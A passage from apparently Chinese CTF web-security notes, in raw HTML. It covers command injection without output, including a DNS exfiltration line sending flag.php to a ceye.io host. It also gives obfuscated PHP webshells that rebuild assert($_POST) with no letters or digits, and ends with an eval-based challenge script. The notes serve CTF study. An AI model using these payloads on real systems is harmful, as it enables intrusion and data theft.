153);">41</li><li style="color: rgb(153, 153, 153);">42</li><li style="color: rgb(153, 153, 153);">43</li><li style="color: rgb(153, 153, 153);">44</li><li style="color: rgb(153, 153, 153);">45</li><li style="color: rgb(153, 153, 153);">46</li><li style="color: rgb(153, 153, 153);">47</li><li style="color: rgb(153, 153, 153);">48</li><li style="color: rgb(153, 153, 153);">49</li><li style="color: rgb(153, 153, 153);">50</li><li style="color: rgb(153, 153, 153);">51</li><li style="color: rgb(153, 153, 153);">52</li><li style="color: rgb(153, 153, 153);">53</li><li style="color: rgb(153, 153, 153);">54</li><li style="color: rgb(153, 153, 153);">55</li><li style="color: rgb(153, 153, 153);">56</li><li style="color: rgb(153, 153, 153);">57</li><li style="color: rgb(153, 153, 153);">58</li><li style="color: rgb(153, 153, 153);">59</li><li style="color: rgb(153, 153, 153);">60</li><li style="color: rgb(153, 153, 153);">61</li><li style="color: rgb(153, 153, 153);">62</li><li style="color: rgb(153, 153, 153);">63</li><li style="color: rgb(153, 153, 153);">64</li><li style="color: rgb(153, 153, 153);">65</li><li style="color: rgb(153, 153, 153);">66</li><li style="color: rgb(153, 153, 153);">67</li><li style="color: rgb(153, 153, 153);">68</li><li style="color: rgb(153, 153, 153);">69</li><li style="color: rgb(153, 153, 153);">70</li><li style="color: rgb(153, 153, 153);">71</li><li style="color: rgb(153, 153, 153);">72</li><li style="color: rgb(153, 153, 153);">73</li><li style="color: rgb(153, 153, 153);">74</li><li style="color: rgb(153, 153, 153);">75</li><li style="color: rgb(153, 153, 153);">76</li><li style="color: rgb(153, 153, 153);">77</li><li style="color: rgb(153, 153, 153);">78</li><li style="color: rgb(153, 153, 153);">79</li><li style="color: rgb(153, 153, 153);">80</li><li style="color: rgb(153, 153, 153);">81</li><li style="color: rgb(153, 153, 153);">82</li><li style="color: rgb(153, 153, 153);">83</li></ul></pre> </li></ul>
<h4><a name="t35"></a><a id="_869"></a>限制回显</h4>
<ul><li> <p>判断</p> <pre data-index="45" class="set-code-show prettyprint"><code class="prism language-shell has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#利用sleep判断</span>
<span class="token function">ls</span><span class="token punctuation">;</span><span class="token function">sleep</span> <span class="token number">3</span>
<span class="token comment">#http请求/dns请求</span>
http://ceye.io/payloads
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p>利用</p> <pre data-index="46" class="set-code-show prettyprint"><code class="prism language-shell has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#写shell(直接写入/外部下载)</span>
<span class="token builtin class-name">echo</span> <span class="token operator">></span>
<span class="token function">wget</span>
<span class="token comment">#http/dns等方式带出数据</span>
<span class="token comment">#需要去掉空格,可以使用sed等命令</span>
<span class="token builtin class-name">echo</span> <span class="token variable"><span class="token variable">`</span><span class="token function">cat</span> flag.php<span class="token operator">|</span><span class="token function">sed</span> s/<span class="token punctuation">[</span><span class="token punctuation">[</span>:space:<span class="token punctuation">]</span><span class="token punctuation">]</span>//<span class="token variable">`</span></span>.php.xxxxxx.ceye.io
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre> </li></ul>
<h4><a name="t36"></a><a id="getshell_895"></a>无字母、数字getshell</h4>
<p>异或</p>
<pre data-index="47" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span>
<span class="token variable">$_</span><span class="token operator">=</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%01'</span><span class="token operator">^</span><span class="token string single-quoted-string">'`'</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%13'</span><span class="token operator">^</span><span class="token string single-quoted-string">'`'</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%13'</span><span class="token operator">^</span><span class="token string single-quoted-string">'`'</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%05'</span><span class="token operator">^</span><span class="token string single-quoted-string">'`'</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%12'</span><span class="token operator">^</span><span class="token string single-quoted-string">'`'</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%14'</span><span class="token operator">^</span><span class="token string single-quoted-string">'`'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// $_='assert';</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token string single-quoted-string">'_'</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%0D'</span><span class="token operator">^</span><span class="token string single-quoted-string">']'</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%2F'</span><span class="token operator">^</span><span class="token string single-quoted-string">'`'</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%0E'</span><span class="token operator">^</span><span class="token string single-quoted-string">']'</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'%09'</span><span class="token operator">^</span><span class="token string single-quoted-string">']'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// $__='_POST';</span>
<span class="token variable">$___</span><span class="token operator">=</span><span class="token variable">$$__</span><span class="token punctuation">;</span>
<span class="token variable">$_</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">[</span><span class="token constant">_</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// assert($_POST[_]);</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<p>简短写法</p>
<pre data-index="48" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token string double-quoted-string">"`{<!-- -->{<!-- -->{"</span><span class="token operator">^</span><span class="token string double-quoted-string">"?<>/"</span> <span class="token comment">//_GET</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="_917"></a>取反</h5>
<pre data-index="49" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'>'</span><span class="token operator">></span><span class="token string single-quoted-string">'<'</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'>'</span><span class="token operator">></span><span class="token string single-quoted-string">'<'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//$__2</span>
<span class="token variable">$_</span><span class="token operator">=</span><span class="token variable">$__</span><span class="token operator">/</span><span class="token variable">$__</span><span class="token punctuation">;</span><span class="token comment">//$_1</span>
<span class="token variable">$____</span><span class="token operator">=</span><span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>
<span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"瞰"</span><span class="token punctuation">;</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$_</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"和"</span><span class="token punctuation">;</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$__</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"和"</span><span class="token punctuation">;</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$__</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"的"</span><span class="token punctuation">;</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$_</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"半"</span><span class="token punctuation">;</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$_</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"始"</span><span class="token punctuation">;</span><span class="token variable">$____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$__</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//$____=assert</span>
<span class="token variable">$_____</span><span class="token operator">=</span><span class="token string single-quoted-string">'_'</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"俯"</span><span class="token punctuation">;</span><span class="token variable">$_____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$__</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"瞰"</span><span class="token punctuation">;</span><span class="token variable">$_____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$__</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"次"</span><span class="token punctuation">;</span><span class="token variable">$_____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$_</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$___</span><span class="token operator">=</span><span class="token string double-quoted-string">"站"</span><span class="token punctuation">;</span><span class="token variable">$_____</span><span class="token operator">.=</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token variable">$___</span><span class="token punctuation">{<!-- --></span><span class="token variable">$_</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//$_____=_POST</span>
<span class="token variable">$_</span><span class="token operator">=</span><span class="token variable">$$_____</span><span class="token punctuation">;</span><span class="token comment">//$_=$_POST</span>
<span class="token variable">$____</span><span class="token punctuation">(</span><span class="token variable">$_</span><span class="token punctuation">[</span><span class="token variable">$__</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//assert($_POST[2])</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li></ul></pre>
<p>简短写法</p>
<pre data-index="50" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token variable">$</span><span class="token punctuation">{<!-- --></span><span class="token operator">~</span><span class="token string double-quoted-string">"\xa0\xb8\xba\xab"</span><span class="token punctuation">}</span> <span class="token comment">//$_GET</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="_943"></a>自增</h5>
<pre data-index="51" class="set-code-hide prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span>
<span class="token variable">$_</span><span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$_</span><span class="token operator">=</span>@<span class="token string double-quoted-string">"<span class="token interpolation"><span class="token variable">$_</span></span>"</span><span class="token punctuation">;</span> <span class="token comment">// $_='Array';</span>
<span class="token variable">$_</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'!'</span><span class="token operator">==</span><span class="token string single-quoted-string">'@'</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// $_=$_[0];</span>
<span class="token variable">$___</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span> <span class="token comment">// A</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span>
<span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span> <span class="token comment">// S</span>
<span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span> <span class="token comment">// S</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// E </span>
<span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// R</span>
<span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// T</span>
<span class="token variable">$___</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span>
<span class="token variable">$____</span><span class="token operator">=</span><span class="token string single-quoted-string">'_'</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// P</span>
<span class="token variable">$____</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// O</span>
<span class="token variable">$____</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// S</span>
<span class="token variable">$____</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">=</span><span class="token variable">$_</span><span class="token punctuation">;</span>
<span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span><span class="token variable">$__</span><span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// T</span>
<span class="token variable">$____</span><span class="token operator">.=</span><span class="token variable">$__</span><span class="token punctuation">;</span>
<span class="token variable">$_</span><span class="token operator">=</span><span class="token variable">$$____</span><span class="token punctuation">;</span>
<span class="token variable">$___</span><span class="token punctuation">(</span><span class="token variable">$_</span><span class="token punctuation">[</span><span class="token constant">_</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ASSERT($_POST[_]);</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li><li style="color: rgb(153, 153, 153);">29</li><li style="color: rgb(153, 153, 153);">30</li><li style="color: rgb(153, 153, 153);">31</li><li style="color: rgb(153, 153, 153);">32</li><li style="color: rgb(153, 153, 153);">33</li><li style="color: rgb(153, 153, 153);">34</li><li style="color: rgb(153, 153, 153);">35</li></ul></pre>
<h5><a id="_983"></a>实例</h5>
<pre data-index="52" class="set-code-hide prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span>
<span class="token keyword">include</span><span class="token string single-quoted-string">'flag.php'</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'code'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span>
<span class="token variable">$code</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'code'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$code</span><span class="token punctuation">)</span><span class="token operator">></span><span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span>
<span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Too Long."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/[A-Za-z0-9_]+/"</span><span class="token punctuation">,</span><span class="token variable">$code</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span>
<span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Not Allowed."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
@<span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$code</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{<!-- --></span>
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
